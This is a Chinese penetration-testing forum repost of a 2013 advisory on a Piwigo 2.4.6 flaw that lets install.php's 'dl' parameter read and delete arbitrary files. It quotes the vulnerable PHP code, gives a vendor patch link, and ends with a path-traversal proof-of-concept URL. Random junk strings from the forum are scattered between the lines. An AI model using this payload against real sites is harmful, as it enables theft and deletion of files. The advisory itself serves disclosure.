中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
0 d' v+ w. I9 Z4 O; \3 b
- J- T8 F8 w" b2 N, K+ Q5 r
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
, n' }" x' @9 j0 y- s. }+ g. @
====================================================================
3 M) X, [# h& E5 ~
/install.php:
9 G! N, S. H4 N+ t% G1 o
-------------
9 {; D; _5 P- [ \' ^2 z
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
( U& D' r$ @' C; ^) |- u* g
114: {
~- w3 ~( V) u/ u0 K
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ @. W7 |% v: o5 k
116: header('Cache-Control: no-cache, must-revalidate');
+ }8 u! W- y5 e9 W' [$ d% o
117: header('Pragma: no-cache');
, X& `/ M* v: Y; [( j! J
118: header('Content-Disposition: attachment; filename="database.inc.php"');
/ C H8 N$ a; M. B' {
119: header('Content-Transfer-Encoding: binary');
% A1 T' p. V j- J& C9 v! Y, G
120: header('Content-Length: '.filesize($filename));
$ Z8 j$ v: @; h) r* ]+ s
121: echo file_get_contents($filename);
3 y. g0 Q- Y! H
122: unlink($filename);
% N. W1 P5 H! j8 w0 W% W% M
123: exit();
M) @: ^# D) K: V
124: }
* u ]% | \6 G; O. p% R
====================================================================
2 [$ S! x6 V; f3 o5 t
3 z$ a# P; |( @9 ^7 ]
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
2 j; u/ A) I& n
Apache 2.4.2 (Win32)
/ \( Q4 D7 |8 l' z! ?! k* o7 x4 Y
PHP 5.4.4
+ y) k$ ?6 ~4 ` p" O
MySQL 5.5.25a
) k8 t, U. z* k( ^( D2 {
- K) D4 k" h* l+ b5 h
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
4 g5 n) D5 ~* `) J2 m: b# P* |
@zeroscience
' j: ], U- E; ~" ?" O
) p. \% P- v/ o: l0 b* x
Advisory ID: ZSL-2013-5127
0 s% i1 F1 Y6 `* S9 z j
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
" H" J0 s5 B$ x) v5 c6 F* u; i
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
1 i& j3 \* O4 o! x
) w" Y6 T. M# e' h9 `& K
15.02.2013
( }9 e9 w( O8 E( A1 Y; d4 G4 w
' R+ {5 e+ @) H) W% I
--
) i6 Y" i9 p5 }
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% U. \/ w; P0 @8 E* k% V
9 ?( \6 d1 O# i
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2